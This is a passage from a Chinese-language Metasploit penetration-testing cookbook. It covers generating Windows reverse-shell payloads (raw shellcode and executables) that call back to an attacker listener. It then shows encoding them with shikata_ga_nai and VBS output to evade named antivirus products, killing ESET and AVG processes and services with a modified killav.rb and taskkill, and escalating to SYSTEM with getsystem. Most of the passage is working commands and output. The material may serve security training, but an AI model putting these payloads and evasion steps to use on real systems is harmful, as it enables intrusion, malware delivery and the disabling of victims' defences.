LPORT=4441 o

下面根据实际需要设置LHOST与LPORT参数，然后生成自定义shell的C代码（下面的输出内容已进行了削减以便于展示）。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101

LPORT=4441 C

/*

* windows/shell/reverse_tcp - 290 bytes (stage 1)

* http://www.metasploit.com

* VERBOSE=false, LHOST=192.168.56.101, LPORT=4441,

* ReverseConnectRetries=5, EXITFUNC=process,

* InitialAutoRunScript=, AutoRunScript=

*/

unsigned char buf[] =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

上面的程序中需要注意命令行中大写的C参数，以及生成C语言格式的完整shellcode，这段shellcode可在我们自己的漏洞利用代码开发中使用。同样地，也可以使用其他选项生成Ruby或Perl格式的代码。

接下来展示生成shellcode的二进制可执行程序，该段程序也可以在客户端攻击中使用。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X >

.local/setup.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/shell/reverse_tcp

Length: 290

Options: {"LHOST"=>"192.168.56.101"}

上面的程序中需要注意命令行中传递的各种参数，参数X表明要生成exe类型文件，生成文件所在文件夹为.local，名称为setup.exe，该exe文件可用在客户端攻击中。

怎样工作

可执行文件生成完毕后，接下来在 msfconsole 中建立监听程序，以便在目标机器上执行该exe文件时对反向连接进行监听。

msf > use multi/handler

msf　exploit(handler) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf　exploit(handler) > set LHOST 192.168.46.101

msf　exploit(handler) > exploit

[-] Handler failed to bind to 192.168.46.101:4444

[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler

上面的程序中需要注意的是，使用的攻击载荷与传递的参数和生成可执行文件时所用到的是相同的。目前，监听程序已经做好接收反向连接的准备，目标用户（运行的操作系统是Windows 7之前操作系统）执行恶意 exe文件后，攻击者可建立与目标机器的shell连接。

4.7 使用msfencoe规避客户端防病毒软件防护

在前面的内容中，主要关注的是怎样生成可执行程序形式的 shellcode，并将其用作客户端攻击的武器。但是问题在于，这样的可执行程序很容易被客户端防病毒软件检测出来，阻止其执行并产生告警信息。那么该怎么解决这一问题？这就引出了攻击矢量，即规避防病毒软件保护。对可执行程序进行编码是一种有效的技术。

防病毒软件使用一种基于签名的技术，这种技术主要是将文件的前面少数几行与签名特征数据库进行比较，验证被检测文件中是否存在潜在威胁，如果与签名特征匹配，则该文件被视为威胁。要规避防病毒软件，就必须对这种防病毒技术进行研究和规避。Msfencode是一种可对shellcode进行编码的有效工具，可降低其被防病毒软件检测出来的几率，该工具还包含有大量的编码选项。

学习本节内容时要记住一件重要的事情，即本节中讲述的技术方法能否取得成功依赖于两个因素，一个是shellcode类型，一个是目标机器上运行的防病毒软件的类型。本节中涉及大量实验，用以检测针对不同类型的shellcode使用不同类型编码方法规避特定类型的防病毒软件。这里有两个目标机器，其一运行Windows XP SP2，安装了免费版的AVG 10，其二运行Windows 7 Ultimate，安装了完全版的ESET NOD32并且升级到最新。首先讨论使用简单的技术规避过期未更新的防病毒软件，但被该防病毒软件的最新版检测出来，然后讨论另一种规避升级到最新的防病毒软件。

准备

Msfencode 通常会被 msfpayload 命令进行“管道化”使用，以便对其生成的 shellcode进行编码，这可以减少一些工作步骤。首先启动msfencode，执行msfencode -h命令可列出各种可用的参数，使用msfencode –l可列出各种编码类型。

root@bt:~# msfencode -l

Framework Encoders

==================

Name　Rank　Description

----　----　-----------

cmd/generic_sh　good　Generic Shell Variable Substitution Command Encoder

cmd/ifs　low　Generic ${IFS} Substitution Command Encoder

cmd/printf_php_mq　manual　printf(1) via PHP magic_quotes Utility Command Encoder

generic/none　normal　The "none" Encoder

mipsbe/longxor　normal　XOR Encoder

mipsle/longxor　normal　XOR Encoder

php/base64　great　PHP Base64 encoder

ppc/longxor　normal　PPC LongXOR Encoder

ppc/longxor_tag　normal　PPC LongXOR Encoder

sparc/longxor_tag　normal　SPARC DWORD XOR Encoder

x64/xor　normal　XOR Encoder

x86/alpha_mixed　low　Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper　low　Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower　manual　Avoid UTF8/tolower

x86/call4_dword_xor　normal　Call+4 Dword XOR Encoder

x86/context_cpuid　manual　CPUID-based Context Keyed Payload Encoder

x86/context_stat　manual　stat(2)-based Context Keyed

Payload Encoder

x86/context_time　manual　time(2)-based Context Keyed Payload Encoder

x86/countdown　normal　Single-byte XOR Countdown Encoder

x86/fnstenv_mov　normal　Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive　normal　Jump/Call XOR Additive Feedback　Encoder

x86/nonalpha　low　Non-Alpha Encoder

x86/nonupper　low　Non-Upper Encoder

x86/shikata_ga_nai　excellent　Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit　manual　Single Static Bit

x86/unicode_mixed　manual　Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper　manual　Alpha2 Alphanumeric Unicode Uppercase Encoder

框架中包含大量不同的编码器，每种编码器都使用了不同的技术来混淆shellcode，例如shikata_ga_nai编码技术实现的就是一种多态XOR附加反馈式编码器，其解码器是根据动态指令替代和动态块排序生成的，寄存器也是动态选定的。

怎样实现

本节从内容上是按照3个案例的形式组织的，以便更好地理解怎样深入挖掘这一工具，并应用到自己的实践中。

案例1：首先编码一个简单的shell，此时msfpayload与msfencode在同一个管道中使用。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R |

msfencode -e cmd/generic_sh -c2-t exe > .local/encoded.exe

[*] cmd/generic_sh succeeded with size 290 (iteration=1)

[*] cmd/generic_sh succeeded with size 290 (iteration=2)

下面对该命令行进行分析。使用的shellcode是windows/shell/reverse_tcp，R参数表示要生成raw文件类型。通过管道技术使用msfencode命令，-e参数用于指定编码类型，本案例中是cmd/generic_sh，-c参数表示要迭代的次数，-t参数表示编码后要创建的文件类型。最后生成的文件保存在.local文件夹中，名为encoded.exe。使用该文件对两台目标机器进行客户端攻击，结果很容易地同时被Windows XP（运行AVG 10）和Windows 7（运行NOD32）检测为威胁。该程序运行后可能已经生成了到攻击方机器的shell连接，但这一连接行为被防病毒软件拦截。

案例 2：增加编码的复杂性，为 shellcode添加一个默认的Windows exe模板，并增加编码时的迭代次数。默认的模板可以将shellcode绑定到默认的Windows可执行程序中，例如 calc.exe 或 cmd.exe，从而有助于创建更可信的文件。默认的 Windows 模板可在文件夹/opt/framework3/msf3/lib/msf/util/../../../data/templates中找到。

用户可以将默认的Windows可执行程序复制到上面的文件夹中，从而创建模板。在本节中，将cmd.exe复制到这一文件夹中，并将其用作shellcode的模板，那么此时的命令行是什么样的形式呢？

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101

R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe> .local/ cmdencoded.

exe

本案例中出现的新参数-x用于指定可替代的可执行程序模板。使用cmd.exe作为模板，该 exe 是 Windows 中用于启动命令行提示符的默认可执行程序，编码类型变更为shikata_ga_nai，该编码类型在msfencode.中标记为“Excellent”，迭代次数增加为20次。本案例中创建的可执行程序与cmd.exe很类似（因为是以其作为模板创建），并可以很容易地避过Windows XP目标机器上的AVG 10防病毒软件检测，然而，Windows 7目标机器上运行的、升级到最新的NOD32仍然将其判定为威胁，因此这种技术适合于规避运行在Windows机器上的旧版本的防病毒软件。第二个问题是，这种技术无法在Windows 7/Server 2008机器上启动shell连接，即便其上安装的是旧版本的防病毒软件。Shellcode在执行时会发生崩溃（由于模板的缘故），即便可以规避防病毒软件，在更新版本的Windows机器上也不能启动shell连接。

案例3：本案例中将解决案例2中遇到的问题。本例要生成的是客户端脚本，而非可执行程序。Windows 平台中有一种众所周知的 vbs 脚本，这种脚本技术可用于规避最新Windows平台上任何已知的升级到最新的防病毒软件。VBS脚本之所以成为规避防病毒软件的潜在武器，是因为防病毒软件从未将其视为威胁，因此签名特征数据库不会与VBS脚本产生匹配。下面利用msfpayload和msfencode创建恶意的VBS脚本。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r |

msfencode -e x86/shikata_ga_nai -c 20 -t vbs > .local/cmdtest2.vbs

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

.

.

.

.

[*] x86/shikata_ga_nai succeeded with size 803 (iteration=19)

[*] x86/shikata_ga_nai succeeded with size 830 (iteration=20)

要注意上面命令行中的细微变化，唯一的改变是 exe 被替换为 VBS，没有使用任何模板，以免在客户端攻击执行时崩溃。这一技术有助于规避两台目标机器的防病毒软件保护，并提供了shell连接。还可以使用multi/handler模块（前面章节中讨论过）建立监听程序，并等待脚本执行后来自目标机器的反向连接。

本节在内容上完全是以尝试攻击载荷与编码器的各种组合为基础的，实际上，所做的这种不同组合尝试越多，获得成功的可能性就越大。此外，msfpayload 与 msfencode 中还有很多值得探索的事情，因此建议读者主动尝试各种不同的实验，找到自己规避防病毒软件保护的途径。

怎样工作

编码器主要用于将shellcode脚本混淆为防病毒软件无法识别的形式。shikata_ga_nai 编码器使用的是多态XOR技术，其中编码器使用动态生成的gats作为编码器，shikata_ga_nai被广泛采用的原因在于其使用了自解码技术，这种技术意味着软件运行时对其自身的某一部分进行解码。在理想状态下，软件只包含解密器 stub 与加密的代码。迭代也是为了进一步增强编码的复杂性，其原理是将相同操作不断地重复进行，以便使shellcode在防病毒软件中无法识别的。

更多

下面寻找一种快速途径，以便使用各种不同的防病毒软件对攻击载荷进行测试，看一看其中哪些防病毒软件可以检测出编码后的攻击载荷。

使用VirusTotal进行快速的多样化扫描

VirusTotal是一个在线网站工具，可以对待检测文件使用多个防病毒软件进行扫描，以便发现其中有哪些软件会将其检测为威胁。用户可以将自己编码后的攻击载荷提交到VirusTotal进行扫描，以便确认有哪种杀毒软件会对其产生告警信息，这也有助于确认编码后的攻击载荷是否有效。

VirusTotal可以通过网址http://www.virustotal.com访问，该网站会要求用户上传需要使用多款防病毒产品进行扫描的文件，扫描完成后会给出测试结果。

4.8 使用killav.rb脚本禁用防病毒软件

在上一节中，我们主要介绍了可用于绕过客户端防病毒软件保护并打开活跃会话的各种技术。接下来的问题是：如果需要从目标系统中下载文件，或在其中安装键盘记录程序等，将可能引发防病毒软件告警，因此，建立了到目标系统的活跃会话之后，下一个步骤就是禁用防病毒软件。本节介绍的主要内容是，要保证攻击者活动不被目标机器检测发现，禁用防病毒软件是必要的。

在本节中，将使用一些在活跃会话中可用的 meterpreter 脚本，在后面的内容中会专门讲解meterpreter脚本，所以这里只对meterpreter脚本和命令进行简介，下一章将对meterpreter进行详细分析和讲解。

准备

首先对 meterpreter 进行简要介绍。Meterpreter 是一项高级功能，极大提高了在目标机器上执行命令的能力。Meterpreter是命令行解释器，其工作机理是内存DLL注入，并具有相对于传统命令行解释器（通常存在于shellcode中）的大量优势，更灵活、更稳定、更具扩展性，其功能和性能就像几种攻击载荷同时在目标机器上工作。Meterpreter 的通信是基于 stager socket的，并提供了广泛性的 ruby API。使用windows/ meterpreter/目录中可用的攻击载荷，可以获取 Meterpreter shell。本节中，我们要使用的攻击载荷是 windows/ meterpreter/reverse_tcp，目标机器是Windows 7，其上运行的防病毒软件是ESET NOD32。

在msfconsole 中建立监听程序并等待反向连接。

msf > use multi/handler

msf　exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf　exploit(handler) > show options

Module options (exploit/multi/handler):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

Payload options (windows/meterpreter/reverse_tcp):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

EXITFUNC process 　yes　Exit technique: seh..

LHOST　192.168.56.101　yes　The listen address

LPORT　4444　yes　The listen port

Exploit target:

Id　Name

--　----

0　Wildcard Target

msf　exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Starting the payload handler...

怎样实现

（1）监听程序准备就绪。客户端攻击在目标机器上成功执行后，将在攻击方机器的msfconsole中建立meterpreter会话。

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session2opened (192.168.56.101:4444 ->

192.168.56.1:49188) at 2011-11-29 13:26:55 +0530

meterpreter >

（2）执行 getuid 命令，该命令可以获取攻入目标系统时的用户名，该用户或是系统管理员，或是权限级别较低的用户。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

（3）从获取的用户名来看，似乎还不具备已攻入系统的管理员权限，因此下一个任务是将权限提升到管理员，以便在目标机器上执行命令时不至被终止。使用getsystem命令，该命令将尝试从普通用户提升权限到管理员。

meterpreter > getsystem

...got system (via technique 4)..

（4）从结果可以看到，getsystem命令已经成功地使用 technique 4（KiTrap0D漏洞利用代码）进行了权限提升，再次使用getuid命令，可以检查提权后的ID。

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

（5）现在已具备主管理员权限，接下来使用ps命令列出目标系统中运行的所有进程，以便确定哪些进程实际上控制着目标系统中运行的防病毒软件（下面的输出进行了一些削减以便适应需要）。

PID　Name　User　Path

---　----　----　----

1060 svchost.exe　NT AUTHORITY\SYSTEM　C:\Windows\System32\.

1096 svchost.exe　NT AUTHORITY\SYSTEM　C:\Windows\system32\.

1140 stacsv.exe　NT AUTHORITY\SYSTEM　C:\Windows\System32\.

1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.

1744 egui.exe　DARKLORD-PC\DARKLORD　C:\Program Files\ESET\ ESET NOD32 Antivirus\egui.exe

1832 eset.exe　NT AUTHORITY\SYSTEM　C:\Program Files\ESET\ ESET NOD32 Antivirus\eset.exe

（6）从上面的Name和Path列中，可以很容易地识别出属于防病毒软件实例的进程。在本示例中，有两个进程负责目标系统中的防病毒功能，分别是egui.exe和eset.exe。接下来将学习怎样使用Metasploit禁止这些进程。

怎样工作

Meterpreter提供了一个非常有用的killav.rb脚本，可用于停止目标系统中运行的防病毒软件进程并将其禁用，在运行着ESET NOD32的Windows 7目标机器上尝试该脚本。

meterpreter > run killav

[*] Killing Antivirus services on the target...

Run命令用于在 meterpreter中执行 Ruby脚本，脚本执行后，可以再次对系统中运行的进程进行检查，以便确认是否所有防病毒软件进程都已经成功禁止。如果防病毒软件进程都已经不再列出，则意味着防病毒软件已经在目标机器上临时禁用，可以相对安全地开始下一步的渗透测试工作。

但如果这些进程还在怎么办？在下一节将介绍相应的解决方案。

4.9 深度解读killav.rb脚本

从上一节开始，我们主要介绍了怎样使用killav.rb脚本来禁止目标机器上运行的防病毒软件进程，但如果这些进程仍然运行或使用该脚本无法禁止该怎么办？造成这种情况有两个可能的原因，其一是killav.rb脚本的列表中没有包含这些防病毒软件进程，其二是这些防病毒软件是以服务而非进程的形式运行的。本节中，我们将尝试解决这些问题。

准备

从上一节中终止的meterpreter会话开始，假设已经使用了killav.rb脚本，但防病毒软件进程仍然在运行，使用ps命令可以看到运行中的进程。

PID　Name　User　Path

---　----　----　----

1060 svchost.exe　NT AUTHORITY\SYSTEM　C:\Windows\System32\.

1096 svchost.exe　NT AUTHORITY\SYSTEM　C:\Windows\system32\.

1140 stacsv.exe　NT AUTHORITY\SYSTEM　C:\Windows\System32\.

1152 dsmonitor.exe　DARKLORD-PC\DARKLORD　C:\Program Files\Uni.

1744 egui.exe　DARKLORD-PC\DARKLORD　C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe

1832 eset.ece　NT AUTHORITY\SYSTEM　C:\Program Files\ESET\ESET NOD32 Antivirus\eset.exe

从结果可以看到，在使用了killav.rb脚本之后，两个防病毒软件进程仍然存在。接下来看一下killav.rb脚本中的具体内容。

（1）要查看和编辑 killav.rb 脚本，打开一个新的终端窗口，切换到/pentest/exploits/framework3/scripts/meterpreter目录。

root@bt: cd /pentest/exploits/framework3/scripts/meterpreter

root@bt:/pentest/exploits/framework3/scripts/meterpreter# vim　killav.rb

（2）Vim 是 UNIX 中的一个快速的编辑器，将在屏幕上打开整个脚本，向下可以发现其中列出的各种进程，这些进程都是该脚本寻找并尝试禁止的进程，检查整个列表，看其中是否包括eset.exe和egui.exe，如果不包含，则在列表中添加这两个进程。要启动vim的编辑模式，需要按一下键盘上的 a 键来启动插入模式。进入这一模式后，就可以在该脚本的进程列表中添加这两个进程。

@@exec_opts.parse(args) { |opt, idx, val|

　 case opt

　 when "-h"

　　usage

　end

}

print_status("Killing Antivirus services on the target...")

avs = %W{

　egui.exe

　eset.exe

　AAWTray.exe

　Ad-Aware.exe

　MSASCui.exe

　_avp32.exe

（3）下面的代码段表明这两个进程已经添加到该列表的顶部，若要退出插入模式，按Esc 键；若要保存脚本，按：键，此时会看到命令行提示符，键入 wq，保存修改后的脚本并退出该编辑器。

:wq

（4）回退到meterpreter会话，再次执行killav.rb脚本，注意发生哪些现象。

meterpreter > run killav.rb

[*] Killing Antivirus services on the target...

[*] Killing off egui.exe...

[*] Killing off eset.exe…

（5）输出信息表明，该脚本已成功地杀掉了这两个进程。为确认是否所有防病毒软件进程已经被禁止，再次执行ps命令进行检查（输出信息进行了削减）。

meterpretr> ps

PID　Name　User　Path

---　----　----　----

1060 svchost.exe　NT AUTHORITY\SYSTEM　C:\Windows\System32\.

1096 svchost.exe　NT AUTHORITY\SYSTEM　C:\Windows\system32\.

1140 stacsv.exe　NT AUTHORITY\SYSTEM　C:\Windows\System32\.

1152 dsmonitor.exe　DARKLORD-PC\DARKLORD　C:\Program Files\Uni.

从结果可以看到，已经不存在ESET防病毒软件的活跃进程，这表明该脚本成功地禁用所有防病毒软件。这一示例清晰地展示了怎样在脚本中添加自己的内容以提高内置脚本的效能。

怎样工作...

下面简单介绍下本节中使用的killav.rb脚本，该脚本在以数组（%W）的形式包含了一个完整的进程列表，该脚本根据该数组中包含的进程在目标机器上进行搜索并杀禁止。

client.sys.process.get_processes().each do |x|

　if (avs.index(x['name'].downcase))

　　 print_status("Killing off #{x['name']}...")

　　client.sys.process.kill(x['pid'])

　end

end

最后的几行代码含义很清楚。该脚本根据数组中的进程名在目标系统中寻找匹配，找到后就使用 process.kill 函数禁止该进程，该循环会一直进行，直至数组中的所有元素与目标系统中可用进程匹配完毕。

4.10 从命令行中禁用防病毒软件服务

在上一节中，我们介绍了使用killav.rb脚本后防病毒软件进程仍然存在的两个问题，并解决了第一个问题，即killav.rb列表中不包括待禁止进程的情况。在本节中我们将解决第二个问题，即目标机器中防病毒软件是以服务而非进程形式运行的情况。首先来了解一下进程和服务的差别。

进程是计算机中运行的任意软件。有些进程是在计算机启动时启动的，有些是根据需要人工启动的，有些进程则是一种服务，这些服务会发布对其进行访问的方法，其他程序则根据需要使用这些方法对其进行访问。进程是基于用户的，而服务是基于系统的。

防病毒软件也可以将某些组件以服务的形式运行，例如电子邮件过滤器、Web 访问过滤器等。由于killav.rb脚本不能禁用服务，因此，即便使用该脚本禁止进程，但防病毒软件服务会立即将其再次启动，因此在这种情况下，即便使用该脚本禁止所有防病毒软件进程，但每次使用ps命令时都会发现这些进程仍然存在，并可以推断出防病毒软件的某些组件是以服务形式运行的，并负责反复重启相应进程。

准备

从这样一个场景开始：目标机器运行的是Windows 7，其上运行的是AVG 10防病毒软件，并假定已经建立了到具有管理员权限的目标机器的活跃meterpreter会话。

怎样实现

（1）本节将使用Windows命令行提示符，所以先在与目标机器的连接中打开一个命令行提示符。

meterpreter > shell

Process 3324 created.

Channel 1 created.

C:\WINDOWS\system32>

（2）使用tasklist命令寻找各种可用的任务，使用/SVC参数只列出以服务形式运行的进程。由于已经知道目标机器正在运行的是AVG防病毒软件，因此可以使用通配符搜索只列出属于avg的服务，最终使用的命令行形式如下所示。

C:\WINDOWS\system32>tasklist /SVC | find /I "avg"

tasklist /SVC | find /I "avg"

avgchsvx.exe　260 N/A

avgrsx.exe　264 N/A

avgcsrvx.exe　616 N/A

AVGIDSAgent.exe　1664 AVGIDSAgent

avgwdsvc.exe　116 avg9wd

avgemc.exe　1728 avg9emc

这样我们就可以得到AVG防病毒软件的完整的列表或服务和程序。接下来运行结束任务进程命令禁用任务并阻止防病毒软件防护。

（3）再次使用通配符搜索禁止以avg作为进程名的任务。

C:\WINDOWS\system32>taskkill /F /IM "avg*"

结果中的/F 参数用于强制禁止进程。上面的命令将最终禁用目标机器上运行的各种防病毒软件服务。本节内容还有很多需要探索的领域，用户可能会遇到一些问题，但通过使用正确的命令都可以解决。

怎样工作...

调用禁用特定服务的系统从命令行中禁用服务。建立到目标机器的活跃shell会话，可以通过shell以命令的形式执行这些调用。

更多...

结果防病毒软件服务仍然存在该怎样呢？

有些服务无法禁用—该怎么做？

可能有几种原因。针对某些服务使用taskkill命令有时会报错，要解决这一问题，可以尝试使用 net stop命令与 sc config命令。建议读者在微软的web网站中阅读这两条命令的相关内容，以便对其用法有更好的理解。这两条命令有助于禁止或禁用那些使用taskkill命令无法有效处理的服务。

第5章 使用meterpreter探索已攻陷目标

本章讲解下述内容：

● 分析meterpreter系统命令；

● 权限提升和进程迁移；

● 与目标建立多重通信通道；

● meterpreter文件系统命令；

● 使用timestomp更改文件属性；

● 使用meterpreter网络命令；

● getdesktop与 keystroke窃听；

● 使用 scraper meterpreter脚本。

5.1 引言

到目前为止，本书内容主要关注的“前渗透”阶段，包括尝试各种不同的技术和漏洞利用代码攻陷目标机器。本章将关注的是“后渗透”阶段—在成功实现对目标机器的攻击渗透后还可以做些什么？Metasploit提供了一种功能非常强大的后渗透工具meterpreter，该工具具有多重功能，使探索目标机器任务的实现变得更加容易。在前面讲述防病毒软件规避的章节中，已经涉及了 meterpreter 的使用和后渗透阶段的相关内容，本章将详细介绍meterpreter，以及怎样在后渗透阶段中使用。

我们之前讲过利用攻击载荷获取特定结果，但这种方法存在一个很大缺陷，运行攻击载荷时必须在目标机器上创建新进程，否则防病毒软件将产生告警信息，从而暴露攻击行为。此外，攻击载荷在功能上也受限制，仅执行某些特定任务或在shell中可以运行的特定命令。要克服这些不足，需要用到meterpreter。

meterpreter是Metasploit中的命令解释器，可以充当攻击载荷，并使用内存DLL注入技术和原始的共享对象格式。meterpreter 解释器在被攻击进程的上下文中工作，从而不需要创建任何新进程，因而也更隐蔽和更强大。

下面看一下meterpreter的工作机理，下图展示的是加载meterpreter的简单步骤。

首先，漏洞利用代码和第一阶段攻击载荷被发送到目标机器，执行后，与目标进行绑定，并尝试反向回连到攻击方msfconole，建立起攻击方和目标机器之间的通信信道。然后 stager加载 DLL，msfconsole发送第二阶段 DLL注入载荷，成功注入后，MSF发送meterpreter DLL以建立正确的通信通道。最后，meterpreter加载 stdapi 和 priv等扩展。所有这些扩展的加载都是使用TLV协议在TLS/1.0上进行的。Meterpreter使用加密信道与目标用户进行通信是其另一大优势。下面快速总结一下meterpreter 相对于特定攻击载荷的优势。

● 在被攻击进程上下文内工作，不需要创建新进程。

● 易于在多进程之间迁移。

● 完全驻留在内存中，不需要对磁盘进行任何写入操作。

● 使用加密通信。

● 使用信道化的通信系统，可以同时与几个信道通信。

● 提供了一个可以快速简便编写扩展的平台。

本章的主要内容为介绍使用 meterpreter 中的各种命令和脚本探索目标机器。首先对常用的meterpreter命令进行分析，然后介绍建立不同的通信信道、网络命令的使用、keyboard 监听等内容，最后讨论 scraper meterpreter 脚本，该脚本可以创建包含目标用户各种信息的单独目录。本章主要关注有助于对已攻陷目标机器进行探索的命令和脚本。

下面首先对meterpreter进行深入介绍。

5.2 分析meterpreter系统命令

首先使用meterpreter命令了解其功能。由于meterpreter是后渗透阶段工具，因此需要一台已攻陷的目标机器来执行命令，这里我们使用已经利用浏览器漏洞攻陷的 Windows 7机器作为目标，读者可以通过阅读第4.3节中的部分内容了解详细信息。

准备

使用攻击载荷windows/meterpreter/bind_tcp攻陷Windows 7目标机器，启动meterpreter会话。在该会话中输入？命令，可看到有哪些可用的meterpreter命令及其简短描述。

meterpreter > ?

快速浏览整个命令列表，其中的很多命令含义很简单。

怎样实现

下面是一些有用的系统命令。

● background：该命令用于将当前会话设置为背景，以便在需要时使用。适合在存在多个meterpreter会话时使用。

● getuid：该命令用于返回目标机器上已攻陷的或正在运行的用户名。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

● getpid：该命令用于返回当前运行meterpreter的进程 ID 。

meterpreter > getpid

Current pid: 4124

● ps：该命令用于列出目标机器上当前运行的所有进程。该命令有助于识别目标中运行的各种软件和服务。

meterpreter > ps

PID　Name　Arch　Session　User

---　----　-------　----

0　[System Process]

1072　svchost.exe

1172　rundll32.exe　x86　1　DARKLORD-PC\DARKLORD

● sysinfo：该命令用于快速确认系统信息，例如操作系统和体系结构。

meterpreter > sysinfo

Computer　: DARKLORD-PC

OS　: Windows 7 (Build 7264).

Architecture　: x86

System Language: en_US

Meterpreter　: x86/win32

● shell：该命令用于产生 shell提示符，在前面的示例中已经涉及过这一命令的使用。

met erpreter > shel 1

Process　4208 created.

Channel　1 created.

Microsoft Windows [Version 6.1. 7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

● exit：该命令用于终止meterpreter会话，或用于终止 shell会话并返回meterpreter。

可以使用上面列出的这些命令探索已攻陷目标机器以获取更多信息。实际上还有更多其他命令，留给作者探索和实践。这些 meterpreter 命令使探索目标机器变得非常容易。后面会涉及到一些高级的meterpreter命令。

怎样工作

Meterpreter 的工作方式与其他命令解释器类似，可以理解并通过命令传入的参数值对其进行响应。Meterpreter 存在于已攻击的渗透进程中，并与渗透测试方机器建立客户端/服务器通信系统。

上图展示了meterpreter的工作原理。建立通信信道，向meterpreter服务器发送命令调用，并等待其对攻击方机器的响应。随着本章内容的推进，读者会对渗透测试方机器和被攻陷目标机器之间的通信有更深入的理解。

5.3 权限提升和进程迁移

本节将介绍 meterpreter 中两个非常有用的命令，一个是权限提升，一个是进程迁移。权限提升命令用于提升攻击者在目标机器中的权限，因为有时候是以权限较低的用户身份攻陷目标系统的，所以需要提升到管理员权限以便在其上正常执行相应任务。进程迁移命令用于从一个进程迁移到另一个进程，而不需要对磁盘进行任何写入操作。

怎样实现

为实现权限提升，可利用meterpreter中的getsystem命令。该命令自动寻找各种可能的适用技术，以便将用户权限提升到更高级别。下面分析getsystem命令使用的不同技术。

meterpreter > getsystem –h

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

　 -t <opt> The technique to use. (Default to '0').

　 0 : All techniques available

　 1 : Service - Named Pipe Impersonation (In Memory/Admin)

　2: Service - Named Pipe Impersonation (Dropper/Admin)

　3: Service - Token Duplication (In Memory/Admin)

　 4 : Exploit - KiTrap0D (In Memory/User)

怎样工作

Getsystem命令使用3种不同技术实现权限提升。默认值0会尝试所有列出的技术直至成功。下面简要介绍这些技术。

命名管道是本地或远程应用程序在进程内进行通信的机制，创建管道的应用程序充当管道服务器，与其进行连接的应用程序充当客户端。扮演是指某个线程使用不同于其所在进程的身份去执行操作的能力，这种能力可以使得服务器线程代表客户端执行，但其执行局限在客户端的安全上下文之内。此时如果客户端的权限比服务器高，就会出现问题，导致权限提升攻击场景，称为命名管道扮演提升攻击。

关于命名管道扮演的详尽介绍，参见 http://hackingalert.blogspot.com/2011/12/namedpipe-impersonation-attacks.html

操作系统为其中的每个用户都提供了独一无二的令牌 ID，该 ID用于检测系统中不同用户的许可权限级别。令牌复制的工作原理是低权限用户复制高权限用户的令牌，然后低权限用户就可以采用与高权限用户相同的行为模式，并具备高权限用户的所有权限和职能。

KiTrapOD漏洞利用代码是2010年早期发布的，几乎影响到当时微软的所有操作系统。导致该漏洞的原因是，在32位x86平台上允许访问16位应用程序时，没有正确验证特定的BIOS调用，本地用户可以在进程环境块（TEB）中伪造VDM_TIB数据结构，诱发系统错误地处理包含#GP trap handler (nt!KiTrap0D)的异常情况，从而获取管理员权限，该漏洞就是著名的“Windows内核异常处理程序漏洞”。

理解了 getsystem 命令使用的各种权限提升技术之后，接下来在目标上执行 getsystem命令。首先使用getuid命令检测当前用户ID，然后尝试使用getsystem命令提升权限。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

从结果可以看到，使用getsystem命令后，原有的低权限用户被提升为系统权限用户。

